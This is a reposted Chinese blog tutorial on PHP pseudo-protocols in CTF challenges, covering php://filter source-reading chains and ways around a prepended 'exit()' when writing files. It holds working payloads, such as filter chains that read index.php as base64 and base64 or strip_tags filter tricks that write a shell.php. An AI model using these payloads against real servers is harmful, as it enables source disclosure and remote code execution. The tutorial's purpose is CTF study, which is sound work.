gpt4 book ai didi

浅谈php伪协议的运用

转载 作者:我是一只小鸟 更新时间:2023-07-30 22:31:16 29 4
gpt4 key购买 nike

浅谈php伪协议的运用

(133条消息) PHP Filter伪协议Trick总结_php伪协议rot13的用法_swtre33的博客-CSDN博客 。

php死亡exit()绕过 - xiaolong's blog (xiaolong22333.top) 。

0x00ctf中常见的伪协议种类

在CTF比赛中,常常会使用PHP伪协议来进行一些有趣的挑战。PHP伪协议是一种特殊的URL格式,用于在PHP代码中执行某些特定的操作。以下是一些常见的PHP伪协议:

1. `php://input`: 该伪协议允许将HTTP请求的主体作为输入流读取,通常用于读取POST请求的数据.

2. `php://filter`: 通过该伪协议可以对输入输出进行过滤。常见的用法是进行base64编码和解码,例如`php://filter/convert.base64-encode/resource=index.php`.

3. `data://`: 该伪协议用于将数据嵌入到脚本中,常用于在代码中包含一些二进制数据或特定字符串.

4. `expect://`: 该伪协议可以用于执行代码。在一些CTF挑战中,可能会使用该伪协议来绕过某些过滤或实现代码执行.

5. `zip://`: 可以用来读取ZIP压缩文件中的内容,语法类似于`zip://path/to/file.zip#file_inside_zip.txt`.

这些伪协议在CTF挑战中经常用于利用漏洞、绕过限制或进行特殊操作。然而,请注意在实际开发中避免使用这些伪协议,因为它们可能会引起安全风险.

0x01php://filter

在CTF比赛中, php://filter 是一个常用的PHP伪协议,用于在PHP代码中进行数据过滤和处理。它允许我们通过对输入输出进行过滤,利用PHP的输入输出流来执行一些有趣的操作。这在某些CTF挑战中可能会用到,通常是为了绕过限制、执行代码或读取敏感文件等,“php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取,获取源码”.

基本语法如下

                          php:
                          
                            //
                          
                          
                            filter/<action>/resource
                          
                        
  • <action> :表示要对数据执行的过滤操作。常见的过滤操作有:

    • read : 读取资源数据,并对其进行过滤处理。
    • convert.<to_encoding>.<from_encoding> :对数据进行编码转换。
    • string.<operation> :对字符串执行特定操作,比如 base64 编码、URL 编码等。
  • <resource> :表示要进行过滤的资源,通常是文件路径或URL,resource是必选的选项 。

常用的php://filter读取姿势

                          
                            1
                          
                           php:
                          
                            //
                          
                          
                            filter/read=convert.base64-encode/resource=index.php
                          
                          
                            2
                          
                           php:
                          
                            //
                          
                          
                            filter/convert.base64-encode/resource=index.php   #有时候read被过滤
                          
                          
                            3
                          
                           php:
                          
                            //
                          
                          
                            filter/read=string.rot13/resource=index.php  #将字符用rot编码显示
                          
                          
                            4
                          
                           php:
                          
                            //
                          
                          
                            filter/read=string.touppe/resource=index.php   #将字符大写显示
                          
                          
                            5
                          
                           php:
                          
                            //
                          
                          
                            filter/read=string.tolower/resource=index.php   #将字符小写显示
                          
                          
                            6
                          
                           php:
                          
                            //
                          
                          
                            filter/read=convert.iconv.*/resource=index.php
                          
                        

过滤器

字符串过滤器

以string开头对数据进行字符串对于的处理常见的有 rot13 、 toupper 、 tolower 、 strip_tags..... 。

rot13(回转13)原理上来说是对26个小写字母以及26个大写字母进行操作,对原有字母的ASCII值 + 13或者ASCII-13,然后找到计算后的ASCII值对应的字母。通过这样的规则将一个字母替换为另一个字母,从而达到 加密 的目的.

而strip_tags是对数据流进行 strip_tags 函数的处理,该函数功能为剥去字符串中的  HTML 、 XML  以及  PHP  的标签,简单理解就是包含有尖括号中的东西.

rot13,与strip_tags常用于死亡绕过 。

转换过滤器

主要含有三类,分别是 base64 的编码转换、 quoted-printable 的编码转换以及 iconv 字符编码的转换。该类过滤器以 convert 开头.

  Quoted-printable 可译为可打印字符引用编码,可以理解为将一些不可打印的 ASCII 字符进行一个编码转换,转换成 = 后面跟两个十六进制数,例如:
                            
                              file_get_contents
                            
                            ("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".
                            
                              chr
                            
                            (12
                            
                              ));

                            
                            
                              #
                            
                            
                               输出为m1sn0w=0C
                            
                          

iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:

                            
                              file_get_contents
                            
                            ("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".
                            
                              chr
                            
                            (12));
                          

用php://filter进行死亡绕过写入后门

死亡绕过的常见种类 。

                            
                              1
                            
                            
                              file_put_contents
                            
                            (
                            
                              $filename
                            
                            ,"<?php exit();".
                            
                              $content
                            
                            
                              );

                            
                            
                              2
                            
                            
                              file_put_contents
                            
                            (
                            
                              $content
                            
                            ,"<?php exit();".
                            
                              $content
                            
                            
                              );

                            
                            
                              3
                            
                            
                              file_put_contents
                            
                            (
                            
                              $filename
                            
                            ,
                            
                              $content
                            
                             . "\nxxxxxx");
                          

第一种情况

这里有两个可控的变量,$filename和$content,发现在我们写入的后门会立刻被exit()函数退出,我们得想办法进行绕过,以下是一些常见的绕过方法 。

base64-decode绕过

这种绕过方法利用了base64的特性,我们在用base64编码时3个字符组,不足则使用=补足,而在解码时4个字符一组,同时base64在解码时会首先将不属于base64编码范围的字符置空再编码, 。

等价于 。

preg_replace('/[^a-zA-Z0-9+/=]/i'," ",$content) 。

 对<?php exit();进行解码后只剩下了phpexit这里只有7个字符,base64以4个为一组的解码方式我们需要再$content的首部加一个占位符防止后面的base64出现乱码payload如下 。

                          $filename=php://filter/write=convert.base64-decode/resource=shell.php
                        
                          $content=aPD9waHAgcGhwaW5mbygpOz8+
                        
                          file_put_contents($filename,"<?php exit();".$content
                          
                            );
                            
写入如下:

string.rot13绕过

此绕过的缺点是无法去掉<? ;>等特殊字符   。

成功写入 。

 局限:如果开启了短标签的话,前面内容就会解析,导致代码错误 。

 过滤器嵌套绕过

                            
                              1
                            
                            
                              $filename
                            
                             = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"
                            
                              ;

                            
                            
                              2
                            
                            
                              $content
                            
                             = "?>PD9waHAgcGhwaW5mbygpOz8+";
                          

strip_tags先把php标签过滤掉,再用convert.base64-decode对我们的输入解码写入后面 。

 限制: string.strip_tags 在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响 。

第二种情况

                          
                            file_put_contents
                          
                          (
                          
                            $content
                          
                          ,"<?php exit();".
                          
                            $content
                          
                          );
                        

这种情况下我们输入的文件名和拼接的内容是相同的,在这种情况我们可以利用php//filter在遇到不认识的协议后只出现警告,进行写入,由于base64解码需要特定的字节数所以无法用base64绕过 。

rot13绕过:

  。

  。

  。

  。

最后此篇关于浅谈php伪协议的运用的文章就讲到这里了,如果你想了解更多关于浅谈php伪协议的运用的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

29 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com